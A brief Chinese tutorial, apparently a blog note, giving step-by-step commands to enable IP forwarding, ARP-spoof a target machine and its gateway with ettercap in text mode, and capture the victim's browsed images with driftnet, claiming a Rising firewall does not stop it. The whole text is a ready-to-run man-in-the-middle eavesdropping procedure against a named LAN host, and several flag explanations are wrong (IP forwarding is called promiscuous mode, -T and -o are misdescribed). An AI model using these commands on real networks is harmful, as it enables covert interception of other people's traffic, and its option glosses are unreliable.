ettercap文本模式+driftnet监控图片&瑞星防火墙无效

0. 设置混杂模式

echo 1 >> /proc/sys/net/ipv4/ip_forward

1. ettercap命令模式双向arp欺骗

sudo ettercap -i eth0 -Tq -M arp:remote -o /192.168.3.1/ /192.168.3.107/

-i   选择网卡

-T  arp欺骗

-q  安静模式

-M 中间人模式

-o 仅中间人攻击，不嗅探

/192.168.3.107/和/192.168.3.1/是目标和网关IP

另开窗口

sudo driftnet -i eth0

启动driftnet

打开目标机浏览器，查看图片